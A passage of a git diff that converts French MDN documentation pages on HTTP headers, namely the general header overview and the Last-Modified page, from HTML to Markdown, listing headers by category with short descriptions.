id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a class="external" href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Page Wikipédia sur la liste des en-têtes HTTP</a></li> - <li><a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">Registre des en-têtes par l'IANA</a> (en)</li> - <li><a href="https://httpwg.org/specs/">Groupe de travail HTTP</a></li> -</ul> +{{HTTPSidebar}} + +Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points `:`, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré. + +Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe `X-`, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans [RFC 6648](https://tools.ietf.org/html/rfc6648); les autres en-têtes possibles sont listés dans une [liste IANA](https://www.iana.org/assignments/message-headers/message-headers.xhtml) et ont été définis dans la [RFC 4229](https://tools.ietf.org/html/rfc4229). IANA maintient également une [liste des propositions de nouveaux entêtes HTTP](https://www.iana.org/assignments/message-headers/message-headers.xhtml). + +Les en-têtes peuvent être groupés selon leur contexte : + +- {{Glossary("General header","En-tête général")}} : en-têtes s'appliquant à la fois aux requêtes et aux réponses mais sans rapport avec les données éventuellement transmises dans le corps de la requête ou de la réponse. +- {{Glossary("Request header","En-tête de requête")}} : en-têtes contenant plus d'informations au sujet de la ressource à aller chercher ou à propos du client lui-même. +- {{Glossary("Response header","En-tête de réponse")}} : en-têtes contenant des informations additionnelles au sujet de la réponse comme son emplacement, ou au sujet du serveur lui-même (nom et version, etc.) +- {{Glossary("Entity header","En-tête d'entité")}} : en-têtes contenant plus d'informations au sujet du corps de l'entité comme la longueur de son contenu ou son [type MIME](/fr/docs/Glossaire/Type_MIME). + +Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent : + +- {{httpheader("Connection")}} +- {{httpheader("Keep-Alive")}} +- {{httpheader("Proxy-Authenticate")}} +- {{httpheader("Proxy-Authorization")}} +- {{httpheader("TE")}} +- {{httpheader("Trailer")}} +- {{httpheader("Transfer-Encoding")}} +- {{httpheader("Upgrade")}} (voir aussi [mécanisme de mise à jour de protocole](/fr/docs/Web/HTTP/Protocol_upgrade_mechanism)) + +<!----> + +- En-têtes de bout en bout ('End-to-end headers') : + - : Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache. +- En-têtes de point à point ('Hop-by-hop headers') : + - : Ces en-têtes n'ont de sens que pour une unique connexion de la [couche transport](https://fr.wikipedia.org/wiki/Couche_transport) et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}. + +La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche. + +## Authentification + +- {{HTTPHeader("WWW-Authenticate")}} + - : définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource. +- {{HTTPHeader("Authorization")}} + - : contient les informations d'identification pour authentifier un agent utilisateur avec un serveur. +- {{HTTPHeader("Proxy-Authenticate")}} + - : définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire. +- {{HTTPHeader("Proxy-Authorization")}} + - : contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire. + +## Mise en cache + +- {{HTTPHeader("Age")}} + - : la durée en secondes passée par l'objet dans un cache proxy. +- {{HTTPHeader("Cache-Control")}} + - : spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses. +- {{HTTPHeader("Clear-Site-Data")}} + - : nettoie les données de navigation (mouchards (_cookies_), stockage et cache) associé au site demandé. +- {{HTTPHeader("Expires")}} + - : la date et l'heure après lesquelles la réponse est considérée comme périmée. +- {{HTTPHeader("Pragma")}} + - : en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête `Cache-Control` n'est pas encore présent. +- {{HTTPHeader("Warning")}} + - : un champ d'avertissement général contenant des informations sur les problèmes possibles. + +## Astuces client + +Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le [site du groupe de travail sur HTTP](https://httpwg.org/http-extensions/client-hints.html). + +- {{HTTPHeader("Accept-CH")}} {{experimental_inline}} + - : les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête `Accept-CH` ou en HTML avec l'élément `<meta>` ayant l'attribut `http-equiv` ([\[HTML5\]](https://httpwg.org/http-extensions/client-hints.html#HTML5)). +- {{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}} + - : les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur ([\[RFC6454\]](https://httpwg.org/http-extensions/client-hints.html#RFC6454)). +- {{HTTPHeader("Content-DPR")}} {{experimental_inline}} + - : un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée. +- {{HTTPHeader("DPR")}} {{experimental_inline}} + - : un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of [\[CSSVAL\]](https://httpwg.org/http-extensions/client-hints.html#CSSVAL)) de la zone d'affichage (Section 9.1.1 of [\[CSS2\]](https://httpwg.org/http-extensions/client-hints.html#CSS2)) sur l'appareil. +- {{HTTPHeader("Device-Memory")}} {{experimental_inline}} + - : faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose. +- {{HTTPHeader("Early-Data")}} {{experimental_inline}} + - : indique que les requêtes doivent être communiquées en TLS early data. +- {{HTTPHeader("Save-Data")}} {{experimental_inline}} + - : booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises. +- {{HTTPHeader("Viewport-Width")}} {{experimental_inline}} + - : la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur. Si `Viewport-Width` apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes. +- {{HTTPHeader("Width")}} {{experimental_inline}} + - : l'en-tête de requête `Width` représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur. Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête `Width` peut être omise. Si `Width` apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes. + +## Conditionnels + +- {{HTTPHeader("Last-Modified")}} + - : c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête. +- {{HTTPHeader("ETag")}} + - : c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête. +- {{HTTPHeader("If-Match")}} + - : rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés. +- {{HTTPHeader("If-None-Match")}} + - : rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà. +- {{HTTPHeader("If-Modified-Since")}} + - : rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète. +- {{HTTPHeader("If-Unmodified-Since")}} + - : rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants. +- {{HTTPHeader("Vary")}} + - : détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine. + +## Gestion de connexion + +- {{HTTPHeader("Connection")}} + - : contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours. +- {{HTTPHeader("Keep-Alive")}} + - : contrôle la durée pendant laquelle une connexion persistante doit rester ouverte. + +## Négociation de contenu + +- {{HTTPHeader("Accept")}} + - : informe le serveur des types de données pouvant être renvoyés. C'est un type MIME. +- {{HTTPHeader("Accept-Charset")}} + - : informe le serveur du jeu de caractères que le client peut comprendre. +- {{HTTPHeader("Accept-Encoding")}} + - : informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée. +- {{HTTPHeader("Accept-Language")}} + - : informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante). + +## Contrôles + +- {{HTTPHeader("Expect")}} + - : indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête. +- {{HTTPHeader("Max-Forwards")}} + - : ... + +## Cookies + +- {{HTTPHeader("Cookie")}} + - : contient les [cookies HTTP](/fr/docs/HTTP/Cookies) stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}. +- {{HTTPHeader("Set-Cookie")}} + - : envoie des cookies du serveur à l'agent utilisateur. +- {{HTTPHeader("Cookie2")}} {{obsolete_inline}} + - : utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place. +- {{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}} + - : utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place. + +## [Cross-Origin Resource Sharing (CORS)](/fr/docs/Web/HTTP/CORS) + +- {{HTTPHeader("Access-Control-Allow-Origin")}} + - : indique si la réponse peut être partagée. +- {{HTTPHeader("Access-Control-Allow-Credentials")}} + - : indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai. +- {{HTTPHeader("Access-Control-Allow-Headers")}} + - : utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective. +- {{HTTPHeader("Access-Control-Allow-Methods")}} + - : spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont. +- {{HTTPHeader("Access-Control-Expose-Headers")}} + - : indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms. +- {{HTTPHeader("Access-Control-Max-Age")}} + - : indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache. +- {{HTTPHeader("Access-Control-Request-Headers")}} + - : utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective. +- {{HTTPHeader("Access-Control-Request-Method")}} + - : Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la [méthode HTTP](/fr/docs/Web/HTTP/Methods) à utiliser lors de la requête. +- {{HTTPHeader("Origin")}} + - : indique l'origine d'une consultation. +- {{HTTPHeader("Timing-Allow-Origin")}} + - : spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'[API Resource Timing](/fr/docs/Web/API/Resource_Timing_API), qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées. + +## Ne pas suivre + +- {{HTTPHeader("DNT")}} + - : utilisé pour exprimer la préférence de suivi de l'utilisateur. +- {{HTTPHeader("Tk")}} + - : indique l'état de suivi appliqué à la demande correspondante. + +## Téléchargements + +- {{HTTPHeader("Content-Disposition")}} + - : est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous". + +## Informations sur le corps du message + +- {{HTTPHeader("Content-Length")}} + - : indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire. +- {{HTTPHeader("Content-Type")}} + - : indique le type de média de la ressource. +- {{HTTPHeader("Content-Encoding")}} + - : utilisé pour spécifier l'algorithme de compression. +- {{HTTPHeader("Content-Language")}} + - : décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur. +- {{HTTPHeader("Content-Location")}} + - : indique un emplacement pour les données renvoyées. + +## Proxies + +- {{HTTPHeader("Forwarded")}} + - : contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête. +- {{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}} + - : identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge. +- {{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}} + - : identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge. +- {{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}} + - : identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge. +- {{HTTPHeader("Via")}} + - : ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse. + +## Redirection + +- {{HTTPHeader("Location")}} + - : indique l'URL de la page de redirection. + +## Contexte de requête + +- {{HTTPHeader("From")}} + - : contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur. +- {{HTTPHeader("Host")}} + - : indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute. +- {{HTTPHeader("Referer")}} + - : L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. +- {{HTTPHeader("Referrer-Policy")}} + - : indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées. +- {{HTTPHeader("User-Agent")}} + - : contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi [la référence de chaîne de l'agent utilisateur Firefox](/fr/docs/HTTP/Gecko_user_agent_string_reference). + +## Contexte de réponse + +- {{HTTPHeader("Allow")}} + - : répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource. +- {{HTTPHeader("Server")}} + - : contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande. + +## Demandes de plage + +- {{HTTPHeader("Accept-Ranges")}} + - : indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée. +- {{HTTPHeader("Range")}} + - : indique la partie d'un document que le serveur doit renvoyer. +- {{HTTPHeader("If-Range")}} + - : crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource. +- {{HTTPHeader("Content-Range")}} + - : situe une partie de message à l'intérieur du corps d'un message entier. + +## Sécurité + +- {{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}}) + - : autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné. + +<!----> + +- {{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}}) + - : interdit les autres domaines d'ouvrir ou de contrôler une fenêtre. + +<!----> + +- {{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}}) + - : interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué. + +<!----> + +- {{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}}) + - : contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} + - : permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP `POST` à l'URI spécifié. +- {{HTTPHeader("Expect-CT")}} + - : permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique. +- {{HTTPHeader("Feature-Policy")}} + - : permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués. +- {{HTTPHeader("Origin-Isolation")}} {{experimental_inline}} + - : permet aux application web d'isoler leurs origines. +- {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) + - : force la communication en utilisant HTTPS au lieu de HTTP. +- {{HTTPHeader("Upgrade-Insecure-Requests")}} + - : envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}. +- {{HTTPHeader("X-Content-Type-Options")}} + - : désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}. +- {{HTTPHeader("X-Download-Options")}} + - : indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le [bogue MS Edge](https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/18488178/) associé. +- {{HTTPHeader("X-Frame-Options")}} (XFO) + - : indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}. +- {{HTTPHeader("X-Permitted-Cross-Domain-Policies")}} + - : Sépcifie si un fichier de règlementation interdomaines (`crossdomain.xml`) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de [Same-Origin Policy](/fr/docs/Web/Security/Same-origin_policy). Voir la [spécification Cross-domain Policy File](https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html) pour plus d'informations. +- {{HTTPHeader("X-Powered-By")}} + - : peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles. +- {{HTTPHeader("X-XSS-Protection")}} + - : active le filtrage de script intersite. + +### HTTP Public Key Pinning {{Glossary("HPKP")}} + +HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}. + +- {{HTTPHeader("Public-Key-Pins")}} + - : associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés. +- {{HTTPHeader("Public-Key-Pins-Report-Only")}} + - : envoie des rapports au _report-uri_ spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée. + +### En-têtes de requêtes de métadonnées + +- {{HTTPHeader("Sec-Fetch-Site")}} + - : en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être `cross-site`, `same-origin`, `same-site` ou `none`. +- {{HTTPHeader("Sec-Fetch-Mode")}} + - : en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être `cors`, `navigate`, `nested-navigate`, `no-cors`, `same-origin` ou `websocket`. +- {{HTTPHeader("Sec-Fetch-User")}} + - : en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit `?0` ou pour faux et `?1` pour vrai. +- {{HTTPHeader("Sec-Fetch-Dest")}} + - : en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être `audio`, `audioworklet`, `document`, `embed`, `empty`, `font`, `image`, `manifest`, `object`, `paintworklet`, `report`, `script`, `serviceworker`, `sharedworker`, `style`, `track`, `video`, `worker`, `xslt` ou `nested-document`. + +## Évènements envoyés par le serveur + +- {{HTTPHeader("Last-Event-ID")}} + - : ... +- {{HTTPHeader("NEL")}} {{experimental_inline}} + - : permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau. +- {{HTTPHeader("Ping-From")}} + - : ... +- {{HTTPHeader("Ping-To")}} + - : ... +- {{HTTPHeader("Report-To")}} + - : utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs. + +## Codage de transfert + +- {{HTTPHeader("Transfer-Encoding")}} + - : spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur. +- {{HTTPHeader("TE")}} + - : spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter. +- {{HTTPHeader("Trailer")}} + - : permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté. + +## WebSockets + +- {{HTTPHeader("Sec-WebSocket-Key")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Extensions")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Accept")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Protocol")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Version")}} + - : ... + +## Autres + +- {{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}} + - : ... +- {{HTTPHeader("Accept-Signature")}} {{experimental_inline}} + - : ... +- {{HTTPHeader("Alt-Svc")}} + - : ... +- {{HTTPHeader("Date")}} + - : contient la date et l'heure à laquelle le message a été généré. +- {{HTTPHeader("Large-Allocation")}} + - : indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante. +- {{HTTPHeader("Link")}} + - : ... +- {{HTTPHeader("Push-Policy")}} {{experimental_inline}} + - : ... +- {{HTTPHeader("Retry-After")}} + - : indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive. +- {{HTTPHeader("Signature")}} {{experimental_inline}} + - : communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature. +- {{HTTPHeader("Signed-Headers")}} {{experimental_inline}} + - : identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature. +- {{HTTPHeader("Server-Timing")}} + - : communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné. +- {{HTTPHeader("Service-Worker-Allowed")}} + - : utilisé pour supprimer la [restriction de chemin](https://w3c.github.io/ServiceWorker/#path-restriction) en incluant cet en-tête [dans la réponse d'un script Service Worker](https://w3c.github.io/ServiceWorker/#service-worker-script-response). +- {{HTTPHeader("SourceMap")}} + - : liens ayant généré du code sur une [source](/fr/docs/Outils/D%C3%A9bogueur/Comment/Utiliser_une_source_map). +- {{HTTPHeader("Upgrade")}} + - : le document RFC associé pour le [champ d'en-tête Upgrade est RFC 7230, section 6.7](https://tools.ietf.org/html/rfc7230#section-6.7). Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le [champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné](https://tools.ietf.org/html/rfc7230#section-6.1). +- {{HTTPHeader("X-DNS-Prefetch-Control")}} + - : contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc. +- {{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}} + - : ... +- {{HTTPHeader("X-Pingback")}} {{non-standard_inline}} + - : ... +- {{HTTPHeader("X-Requested-With")}} + - : ... +- {{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}} + - : indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à `<meta name="robots" content="...">` +- {{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}} + - : Utilisé par Internet Explorer pour signaler quel mode de document utiliser. + +## Contribuer + +Vous pouvez contribuer en [ajoutant un nouvel en-tête à la liste](/fr/docs/MDN/Contribute/Howto/Document_an_HTTP_header) ou en améliorant la documentation existante. + +## Voir aussi + +- [Page Wikipédia sur la liste des en-têtes HTTP](https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP) +- [Registre des en-têtes par l'IANA](https://www.iana.org/assignments/message-headers/message-headers.xhtml) (en) +- [Groupe de travail HTTP](https://httpwg.org/specs/) diff --git a/files/fr/web/http/headers/last-modified/index.md b/files/fr/web/http/headers/last-modified/index.md index fb9408d5b2..b0f4163570 100644 --- a/files/fr/web/http/headers/last-modified/index.md +++ b/files/fr/web/http/headers/last-modified/index.md @@ -8,83 +8,68 @@ tags: - Reference translation_of: Web/HTTP/Headers/Last-Modified --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête HTTP de réponse <strong><code>Last-Modified</code></strong> contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ.</p> +L'entête HTTP de réponse **`Last-Modified`** contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple response header", "CORS-safelisted response-header")}} + </th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Last-Modified: <nom-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT -</pre> + Last-Modified: <nom-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><nom-jour></dt> - <dd>Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd> - <dt><jour></dt> - <dd>Jour sur 2 chiffres, par ex. "04" ou "23".</dd> - <dt><mois></dt> - <dd>Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> - <dt><année></dt> - <dd>Millésime sur 4 chiffres, par ex. "1990" ou "2016".</dd> - <dt><heure></dt> - <dd>Heure sur 2 chiffres, par ex. "09" ou "23".</dd> - <dt><minute></dt> - <dd>Minute sur 2 chiffres, par ex. "04" ou "59".</dd> - <dt><seconde></dt> - <dd>Seconde sur 2 chiffres, par ex. "04" ou "59".</dd> - <dt><code>GMT</code></dt> - <dd> - <p>Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</p> - </dd> -</dl> +- \<nom-jour> + - : Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse). +- \<jour> + - : Jour sur 2 chiffres, par ex. "04" ou "23". +- \<mois> + - : Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse). +- \<année> + - : Millésime sur 4 chiffres, par ex. "1990" ou "2016". +- \<heure> + - : Heure sur 2 chiffres, par 